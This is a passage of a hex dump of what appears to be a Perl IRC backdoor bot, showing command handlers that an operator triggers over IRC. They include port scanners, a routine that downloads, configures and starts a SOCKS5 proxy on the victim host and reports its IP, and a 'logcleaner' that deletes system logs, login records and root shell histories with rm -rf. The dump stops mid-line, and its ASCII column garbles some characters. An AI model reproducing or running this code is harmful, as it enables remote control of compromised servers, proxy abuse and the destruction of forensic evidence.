20768:	20	3D	3E	20	34	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	69	66	20	28	24	73	63	61	=> 4); if ($sca
20800:	6E	73	6F	63	6B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	nsock) { push
20832:	20	28	40	61	62	65	72	74	61	2C	20	24	70	6F	72	74	61	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	(@aberta, $porta);
20864:	20	20	20	20	20	20	20	24	73	63	61	6E	73	6F	63	6B	2D	3E	63	6C	6F	73	65	3B	0D	0A	20	20	20	20	20	20	$scansock->close;
20896:	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	0D	0A	20	20	} }
20928:	20	20	20	20	20	20	20	20	20	20	69	66	20	28	40	61	62	65	72	74	61	29	20	7B	0D	0A	20	20	20	20	20	20	if (@aberta) {
20960:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
20992:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	50	6F	, "PRIVMSG $printl :12[4@3Po
21024:	72	74	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	20	4F	70	65	6E	20	70	6F	72	74	73	20	66	6F	75	6E	64	rt-Scanner12] Open ports found
21056:	65	64	3A	20	40	61	62	65	72	74	61	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	65	6C	ed: @aberta"); } el
21088:	73	65	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	se { sendraw($IR
21120:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
21152:	03	31	32	5B	02	03	34	40	03	33	50	6F	72	74	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	20	4E	6F	20	6F	12[4@3Port-Scanner12] No o
21184:	70	65	6E	20	70	6F	72	74	73	20	66	6F	75	6E	64	65	6E	64	2E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	pen ports foundend.");
21216:	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	0D	0A	23	23	23	23	23	23	23	23	23	23	23	} } ###########
21248:	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	45	6E	64	20	6F	66	20	20	50	6F	72	74	73	63	61	6E	########### # End of Portscan
21280:	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	# ##################### ####
21312:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	43	68	6B	20	54	68	65	20	4E	65	77	################# # Chk The New
21344:	73	20	66	72	6F	6D	20	50	61	63	6B	65	74	53	74	6F	72	6D	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	s from PacketStorm# ###########
21376:	23	23	23	23	23	23	23	23	23	23	23	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	70	########### if ($funcarg =~ /^p
21408:	61	63	6B	65	74	73	74	6F	72	6D	2F	29	20	7B	20	0D	0A	20	20	20	6D	79	20	24	63	3D	30	3B	0D	0A	20	20	acketstorm/) { my $c= ;
21440:	20	6D	79	20	24	78	3B	0D	0A	20	20	20	6D	79	20	40	74	74	74	3D	28	29	3B	0D	0A	20	20	20	6D	79	20	40	my $x; my @ttt=(); my @
21472:	74	74	74	31	3D	28	29	3B	20	0D	0A	20	20	20	6D	79	20	24	73	6F	63	6B	20	3D	20	49	4F	3A	3A	53	6F	63	ttt1=(); my $sock = IO::Soc
21504:	6B	65	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	28	50	65	65	72	41	64	64	72	3D	3E	22	77	77	77	2E	70	61	ket::INET->new(PeerAddr=>"www.pa
21536:	63	6B	65	74	73	74	6F	72	6D	73	65	63	75	72	69	74	79	2E	6F	72	67	22	2C	50	65	65	72	50	6F	72	74	3D	cketstormsecurity.org",PeerPort=
21568:	3E	22	38	30	22	2C	50	72	6F	74	6F	3D	3E	22	74	63	70	22	29	20	6F	72	20	72	65	74	75	72	6E	3B	20	0D	>"8 ",Proto=>"tcp") or return;
21600:	0A	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	20	22	47	45	54	20	2F	77	68	61	74	73	6E	65	77	32	30	print $sock "GET /whatsnew2
21632:	2E	78	6D	6C	20	48	54	54	50	2F	31	2E	30	5C	72	5C	6E	22	3B	0D	0A	20	20	20	70	72	69	6E	74	20	24	73	.xml HTTP/1. \r\n"; print $s
21664:	6F	63	6B	20	22	48	6F	73	74	3A	20	77	77	77	2E	70	61	63	6B	65	74	73	74	6F	72	6D	73	65	63	75	72	69	ock "Host: www.packetstormsecuri
21696:	74	79	2E	6F	72	67	5C	72	5C	6E	22	3B	0D	0A	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	20	22	41	63	ty.org\r\n"; print $sock "Ac
21728:	63	65	70	74	3A	20	2A	2F	2A	5C	72	5C	6E	22	3B	0D	0A	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	20	cept: /\r\n"; print $sock
21760:	22	55	73	65	72	2D	41	67	65	6E	74	3A	20	4D	6F	7A	69	6C	6C	61	2F	35	2E	30	5C	72	5C	6E	5C	72	5C	6E	"User-Agent: Mozilla/5. \r\n\r\n
21792:	22	3B	20	0D	0A	20	20	20	6D	79	20	40	72	20	3D	20	3C	24	73	6F	63	6B	3E	3B	0D	0A	20	20	20	24	70	61	"; my @r = <$sock>; $pa
21824:	67	65	3D	22	40	72	22	3B	0D	0A	20	20	20	63	6C	6F	73	65	28	24	73	6F	63	6B	29	3B	0D	0A	20	20	20	77	ge="@r"; close($sock); w
21856:	68	69	6C	65	20	28	24	70	61	67	65	20	3D	7E	20	20	6D	2F	3C	6C	69	6E	6B	3E	28	2E	2A	29	3C	5C	2F	6C	hile ($page =~ m/<link>(.*)<\/l
21888:	69	6E	6B	3E	2F	67	29	0D	0A	20	20	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	28	40	ink>/g) { push(@
21920:	74	74	74	2C	24	31	29	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	77	68	69	6C	65	20	28	24	70	61	67	65	20	ttt,$1); } while ($page
21952:	3D	7E	20	20	6D	2F	3C	64	65	73	63	72	69	70	74	69	6F	6E	3E	28	2E	2A	29	3C	5C	2F	64	65	73	63	72	69	=~ m/<description>(.*)<\/descri
21984:	70	74	69	6F	6E	3E	2F	67	29	0D	0A	20	20	20	7B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	70	75	73	68	ption>/g) { push
22016:	28	40	74	74	74	31	2C	24	31	29	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	66	6F	72	65	61	63	68	20	24	78	(@ttt1,$1); } foreach $x
22048:	20	28	30	2E	2E	28	40	74	74	74	20	2D	20	31	29	29	0D	0A	20	20	20	7B	0D	0A	20	20	20	20	20	20	20	20	( ..(@ttt - 1)) {
22080:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	sendraw($IRC_cur_socket, "PRIVM
22112:	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	50	61	63	6B	65	74	53	74	6F	72	SG $printl :12[4@3PacketStor
22144:	6D	02	03	31	32	5D	20	22	2E	24	74	74	74	5B	24	78	5D	2E	22	03	20	22	2E	24	74	74	74	31	5B	24	78	5D	m12] ".$ttt[$x]." ".$ttt1[$x]
22176:	2E	22	22	29	3B	0D	0A	20	20	20	20	20	20	73	6C	65	65	70	20	33	3B	0D	0A	20	20	20	20	20	20	24	63	2B	.""); sleep 3; $c+
22208:	2B	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	+; } } ###################
22240:	23	23	23	0D	0A	23	41	75	74	6F	20	49	6E	73	74	61	6C	6C	20	53	6F	63	6B	73	20	56	35	20	75	73	69	6E	### #Auto Install Socks V5 usin
22272:	67	20	4D	6F	63	6B	73	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	g Mocks# ######################
22304:	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	73	6F	63	6B	73	35	2F	29	20	7B	0D	0A	if ($funcarg =~ /^socks5/) {
22336:	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	sendraw($IRC_cur_socket, "PRI
22368:	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	53	6F	63	6B	73	56	35	02	VMSG $printl :12[4@3SocksV5
22400:	03	31	32	5D	03	31	32	20	49	6E	73	74	61	6C	6C	69	6E	67	20	4D	6F	63	6B	73	20	70	6C	65	61	73	65	20	12]12 Installing Mocks please
22432:	77	61	69	74	03	34	22	29	3B	0D	0A	20	20	20	20	20	20	73	79	73	74	65	6D	20	27	63	64	20	2F	74	6D	70	wait4"); system 'cd /tmp
22464:	27	3B	0D	0A	20	20	20	20	20	20	73	79	73	74	65	6D	20	27	77	67	65	74	20	68	74	74	70	3A	2F	2F	73	77	'; system 'wget http://sw
22496:	69	74	63	68	2E	64	6C	2E	73	6F	75	72	63	65	66	6F	72	67	65	2E	6E	65	74	2F	73	6F	75	72	63	65	66	6F	itch.dl.sourceforge.net/sourcefo
22528:	72	67	65	2F	6D	6F	63	6B	73	2F	6D	6F	63	6B	73	2D	30	2E	30	2E	32	2E	74	61	72	2E	67	7A	27	3B	0D	0A	rge/mocks/mocks- . .2.tar.gz';
22560:	20	20	20	20	20	20	73	79	73	74	65	6D	20	27	74	61	72	20	2D	78	76	66	7A	20	6D	6F	63	6B	73	2D	30	2E	system 'tar -xvfz mocks- .
22592:	30	2E	32	2E	74	61	72	2E	67	7A	27	3B	0D	0A	20	20	20	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	.2.tar.gz'; system 'rm -
22624:	72	66	20	6D	6F	63	6B	73	2D	30	2E	30	2E	32	2E	74	61	72	2E	67	7A	27	3B	0D	0A	20	20	20	20	20	20	73	rf mocks- . .2.tar.gz'; s
22656:	79	73	74	65	6D	20	27	63	64	20	6D	6F	63	6B	73	2D	30	2E	30	2E	32	27	3B	0D	0A	20	20	20	20	20	20	73	ystem 'cd mocks- . .2'; s
22688:	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	6D	6F	63	6B	73	2E	63	6F	6E	66	27	3B	0D	0A	20	20	20	20	ystem 'rm -rf mocks.conf';
22720:	20	20	73	79	73	74	65	6D	20	27	63	75	72	6C	20	2D	4F	20	68	74	74	70	3A	2F	2F	61	6E	64	72	6F	6D	65	system 'curl -O http://androme
22752:	64	61	2E	63	6F	76	65	72	73	2E	64	65	2F	32	32	31	2F	6D	6F	63	6B	73	2E	63	6F	6E	66	27	3B	0D	0A	20	da.covers.de/221/mocks.conf';
22784:	20	20	20	20	20	73	79	73	74	65	6D	20	27	74	6F	75	63	68	20	6D	6F	63	6B	73	2E	6C	6F	67	27	3B	0D	0A	system 'touch mocks.log';
22816:	20	20	20	20	20	20	73	79	73	74	65	6D	20	27	63	68	6D	6F	64	20	30	20	6D	6F	63	6B	73	2E	6C	6F	67	27	system 'chmod mocks.log'
22848:	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	6C	65	65	70	28	32	29	3B	0D	0A	20	20	20	20	20	20	73	79	73	; sleep(2); sys
22880:	74	65	6D	20	27	2E	2F	6D	6F	63	6B	73	20	73	74	61	72	74	27	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	tem './mocks start'; s
22912:	6C	65	65	70	28	34	29	3B	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	leep(4); sendraw($IRC_cur
22944:	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	_socket, "PRIVMSG $printl :12[
22976:	03	34	40	03	33	53	6F	63	6B	73	56	35	02	03	31	32	5D	03	31	32	20	4C	6F	6F	6B	73	20	6C	69	6B	65	20	4@3SocksV512]12 Looks like
23008:	69	74	73	20	73	75	63	63	65	73	66	75	6C	6C	79	20	69	6E	73	74	61	6C	6C	65	64	20	6C	65	74	73	20	64	its succesfully installed lets d
23040:	6F	20	74	68	65	20	6C	61	73	74	20	74	68	69	6E	67	73	03	34	20	20	20	22	29	3B	0D	0A	0D	0A	20	20	20	o the last things4 ");
23072:	20	20	20	23	6C	65	74	73	20	67	72	61	62	20	69	70	0D	0A	20	20	20	20	20	20	24	6E	65	74	20	3D	20	60	#lets grab ip $net = `
23104:	2F	73	62	69	6E	2F	69	66	63	6F	6E	66	69	67	20	7C	20	67	72	65	70	20	27	65	74	68	30	27	60	3B	0D	0A	/sbin/ifconfig \| grep 'eth '`;
23136:	20	20	20	20	20	20	69	66	20	28	6C	65	6E	67	74	68	28	24	6E	65	74	29	29	0D	0A	20	20	20	20	20	20	7B	if (length($net)) {
23168:	0D	0A	20	20	20	20	20	20	24	6E	65	74	20	3D	20	60	2F	73	62	69	6E	2F	69	66	63	6F	6E	66	69	67	20	65	$net = `/sbin/ifconfig e
23200:	74	68	30	20	7C	20	67	72	65	70	20	27	69	6E	65	74	20	61	64	64	72	27	60	3B	0D	0A	20	20	20	20	20	20	th \| grep 'inet addr'`;
23232:	69	66	20	28	21	6C	65	6E	67	74	68	28	24	6E	65	74	29	29	0D	0A	20	20	20	20	20	20	7B	0D	0A	20	20	20	if (!length($net)) {
23264:	20	20	20	24	6E	65	74	20	3D	20	60	2F	73	62	69	6E	2F	69	66	63	6F	6E	66	69	67	20	65	74	68	30	20	7C	$net = `/sbin/ifconfig eth \|
23296:	20	67	72	65	70	20	27	69	6E	65	74	20	65	6E	64	2E	27	60	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	grep 'inet end.'`; }
23328:	20	20	20	20	20	20	20	69	66	20	28	6C	65	6E	67	74	68	28	24	6E	65	74	29	29	0D	0A	20	20	20	20	20	20	if (length($net))
23360:	7B	0D	0A	20	20	20	20	20	20	20	20	20	63	68	6F	70	28	24	6E	65	74	29	3B	0D	0A	20	20	20	20	20	20	20	{ chop($net);
23392:	20	20	40	6E	65	74	69	70	20	3D	20	73	70	6C	69	74	2F	3A	2F	2C	24	6E	65	74	3B	0D	0A	20	20	20	20	20	@netip = split/:/,$net;
23424:	20	20	20	20	24	6E	65	74	69	70	5B	31	5D	20	3D	7E	20	2F	28	5C	64	7B	31	2C	33	7D	29	2E	28	5C	64	7B	$netip[1] =~ /(\d{1,3}).(\d{
23456:	31	2C	33	7D	29	2E	28	5C	64	7B	31	2C	33	7D	29	2E	28	5C	64	7B	31	2C	33	7D	29	2F	3B	0D	0A	20	20	20	1,3}).(\d{1,3}).(\d{1,3})/;
23488:	20	20	20	20	20	20	24	69	70	20	3D	20	24	31	20	2E	22	2E	22	2E	20	24	32	20	2E	22	2E	22	2E	20	24	33	$ip = $1 .".". $2 .".". $3
23520:	20	2E	22	2E	22	2E	20	24	34	3B	0D	0A	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	.".". $4;
23552:	20	20	20	23	61	6E	64	20	70	72	69	6E	74	20	69	74	20	5E	5E	20	20	20	0D	0A	20	20	20	20	20	20	20	20	#and print it ^^
23584:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
23616:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	53	6F	63	6B	73	56	35	IVMSG $printl :12[4@3SocksV5
23648:	02	03	31	32	5D	20	43	6F	6E	6E	65	63	74	20	68	65	72	65	20	3A	03	34	20	22	2E	20	24	69	70	20	2E	22	12] Connect here :4 ". $ip ."
23680:	3A	38	37	38	37	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	65	6C	73	:8787 "); } els
23712:	65	0D	0A	20	20	20	7B	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	e { sendraw($IRC_cur_
23744:	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	socket, "PRIVMSG $printl :12[
23776:	34	40	03	33	53	6F	63	6B	73	56	35	02	03	31	32	5D	20	49	50	20	6E	6F	74	20	66	6F	75	6E	64	65	64	20	4@3SocksV512] IP not founded
23808:	22	29	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	65	6C	73	65	0D	0A	7B	0D	0A	20	20	20	20	20	20	73	65	6E	"); } } else { sen
23840:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
23872:	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	53	6F	63	6B	73	56	35	02	03	31	32	5D	20	45	printl :12[4@3SocksV512] E
23904:	52	52	4F	52	20	57	48	49	4C	45	20	49	4E	53	54	41	4C	4C	49	4E	47	20	4D	4F	43	4B	53	20	22	29	3B	0D	RROR WHILE INSTALLING MOCKS ");
23936:	0A	7D	0D	0A	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	} } ###################### #
23968:	20	20	20	20	20	20	20	20	4E	6D	61	70	20	20	20	20	20	20	20	20	23	20	0D	0A	23	23	23	23	23	23	23	23	Nmap # ########
24000:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	############## if ($funcarg
24032:	3D	7E	20	2F	5E	6E	6D	61	70	5C	73	2B	28	2E	2A	29	5C	73	2B	28	5C	64	2B	29	5C	73	2B	28	5C	64	2B	29	=~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)
24064:	2F	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	24	68	6F	73	74	69	70	3D	22	24	31	22	3B	0D	0A	/){ my $hostip="$1";
24096:	20	20	20	20	20	20	20	20	20	6D	79	20	24	70	6F	72	74	73	74	61	72	74	20	3D	20	22	24	32	22	3B	0D	0A	my $portstart = "$2";
24128:	20	20	20	20	20	20	20	20	20	6D	79	20	24	70	6F	72	74	65	6E	64	20	3D	20	22	24	33	22	3B	0D	0A	20	20	my $portend = "$3";
24160:	20	20	20	20	20	20	20	6D	79	20	28	40	61	62	65	72	74	61	73	2C	20	25	70	6F	72	74	61	5F	62	61	6E	6E	my (@abertas, %porta_bann
24192:	65	72	29	3B	0D	0A	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	er); sendraw($IRC_cur_so
24224:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	20	4E	6D	61	70	20	50	6F	cket, "PRIVMSG $printl : Nmap Po
24256:	72	74	53	63	61	6E	20	31	32	3A	2E	20	34	7C	20	20	34	3A	20	24	31	3A	2E	20	7C	2E	3A	20	34	50	6F	72	rtScan 12:. 4\| 4: $1:. \|.: 4Por
24288:	74	73	20	31	32	3A	2E	20	20	34	20	24	32	2D	24	33	22	29	3B	0D	0A	20	20	20	20	20	20	20	66	6F	72	65	ts 12:. 4 $2-$3"); fore
24320:	61	63	68	20	6D	79	20	24	70	6F	72	74	61	20	28	24	70	6F	72	74	73	74	61	72	74	2E	2E	24	70	6F	72	74	ach my $porta ($portstart..$port
24352:	65	6E	64	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	73	63	61	6E	73	6F	end){ my $scanso
24384:	63	6B	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	28	50	65	65	72	41	ck = IO::Socket::INET->new(PeerA
24416:	64	64	72	20	3D	3E	20	24	68	6F	73	74	69	70	2C	20	50	65	65	72	50	6F	72	74	20	3D	3E	20	24	70	6F	72	ddr => $hostip, PeerPort => $por
24448:	74	61	2C	20	50	72	6F	74	6F	20	3D	3E	20	27	74	63	70	27	2C	20	54	69	6D	65	6F	75	74	20	3D	3E	20	24	ta, Proto => 'tcp', Timeout => $
24480:	70	6F	72	74	69	6D	65	29	3B	0D	0A	20	20	20	20	69	66	20	28	24	73	63	61	6E	73	6F	63	6B	29	20	7B	0D	portime); if ($scansock) {
24512:	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	20	28	40	61	62	65	72	74	61	73	push (@abertas
24544:	2C	20	24	70	6F	72	74	61	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	73	63	, $porta); $sc
24576:	61	6E	73	6F	63	6B	2D	3E	63	6C	6F	73	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	ansock->close;
24608:	20	69	66	20	28	24	78	73	74	61	74	73	29	7B	0D	0A	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	if ($xstats){ sendraw(
24640:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	$IRC_cur_socket, "PRIVMSG $print
24672:	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4E	6D	61	70	02	03	31	32	5D	20	20	4E	6D	61	70	20	50	6F	72	l :12[4@3Nmap12] Nmap Por
24704:	74	53	63	61	6E	20	3A	2E	20	7C	46	6F	75	6E	64	65	64	20	20	34	20	24	70	6F	72	74	61	22	2E	22	2F	4F	tScan :. \|Founded 4 $porta"."/O
24736:	70	65	6E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	pen"); }
24768:	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	} }
24800:	20	20	20	20	20	20	20	20	20	20	20	69	66	20	28	40	61	62	65	72	74	61	73	29	20	7B	0D	0A	20	20	20	20	if (@abertas) {
24832:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
24864:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4E	6D	61	70	02	03	31	IVMSG $printl :12[4@3Nmap1
24896:	32	5D	20	20	4E	6D	61	70	20	50	6F	72	74	53	63	61	6E	20	31	32	3A	2E	20	34	7C	20	43	6F	6D	70	6C	65	2] Nmap PortScan 12:. 4\| Comple
24928:	74	65	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	te "); } else {
24960:	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
24992:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4E	6D	61	70	"PRIVMSG $printl :12[4@3Nmap
25024:	02	03	31	32	5D	20	20	4E	6D	61	70	20	50	6F	72	74	53	63	61	6E	20	31	32	3A	2E	20	34	7C	20	4E	6F	20	12] Nmap PortScan 12:. 4\| No
25056:	6F	70	65	6E	20	70	6F	72	74	73	20	68	61	76	65	20	62	65	65	6E	20	66	6F	75	6E	64	65	64	20	20	31	33	open ports have been founded 13
25088:	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	7D	"); } }
25120:	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	45	###################### # E
25152:	6E	64	20	6F	66	20	4E	6D	61	70	20	20	20	20	20	23	20	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	nd of Nmap # #############
25184:	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	######### #####################
25216:	23	0D	0A	23	20	20	20	20	4C	6F	67	20	43	6C	65	61	6E	65	72	20	20	20	20	20	23	20	0D	0A	23	23	23	23	# # Log Cleaner # ####
25248:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	################## if ($funcarg
25280:	20	3D	7E	20	2F	5E	6C	6F	67	63	6C	65	61	6E	65	72	2F	29	20	7B	0D	0A	73	65	6E	64	72	61	77	28	24	49	=~ /^logcleaner/) { sendraw($I
25312:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
25344:	3A	03	31	32	5B	02	03	34	40	03	33	4C	6F	67	2D	43	6C	65	61	6E	65	72	02	03	31	32	5D	20	20	4C	6F	67	:12[4@3Log-Cleaner12] Log
25376:	43	6C	65	61	6E	65	72	20	3A	2E	20	7C	20	20	54	68	69	73	20	70	72	6F	63	65	73	73	20	63	61	6E	20	62	Cleaner :. \| This process can b
25408:	65	20	6C	6F	6E	67	2C	20	6A	75	73	74	20	77	61	69	74	22	29	3B	0D	0A	20	20	20	20	73	79	73	74	65	6D	e long, just wait"); system
25440:	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	6C	6F	67	2F	6C	61	73	74	6C	6F	67	27	3B	0D	0A	20	20	20	'rm -rf /var/log/lastlog';
25472:	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	6C	6F	67	2F	77	74	6D	70	27	3B	0D	system 'rm -rf /var/log/wtmp';
25504:	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	65	74	63	2F	77	74	6D	70	27	3B	0D	0A	system 'rm -rf /etc/wtmp';
25536:	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	72	75	6E	2F	75	74	6D	70	27	system 'rm -rf /var/run/utmp'
25568:	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	65	74	63	2F	75	74	6D	70	27	3B	; system 'rm -rf /etc/utmp';
25600:	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	6C	6F	67	27	3B	0D	0A	system 'rm -rf /var/log';
25632:	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	6C	6F	67	73	27	3B	0D	0A	20	system 'rm -rf /var/logs';
25664:	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	61	64	6D	27	3B	0D	0A	20	20	20	system 'rm -rf /var/adm';
25696:	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	61	70	61	63	68	65	2F	6C	6F	67	27	3B	system 'rm -rf /var/apache/log';
25728:	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	76	61	72	2F	61	70	61	63	68	65	2F	system 'rm -rf /var/apache/
25760:	6C	6F	67	73	27	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	75	73	72	2F	6C	logs'; system 'rm -rf /usr/l
25792:	6F	63	61	6C	2F	61	70	61	63	68	65	2F	6C	6F	67	27	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	ocal/apache/log'; system 'rm
25824:	20	2D	72	66	20	2F	75	73	72	2F	6C	6F	63	61	6C	2F	61	70	61	63	68	65	2F	6C	6F	67	73	27	3B	0D	0A	20	-rf /usr/local/apache/logs';
25856:	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	72	6F	6F	74	2F	2E	62	61	73	68	5F	68	69	73	system 'rm -rf /root/.bash_his
25888:	74	6F	72	79	27	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	72	6D	20	2D	72	66	20	2F	72	6F	6F	74	2F	tory'; system 'rm -rf /root/
25920:	2E	6B	73	68	5F	68	69	73	74	6F	72	79	27	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	.ksh_history'; sendraw($IRC_cur
25952:	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	_socket, "PRIVMSG $printl :12[
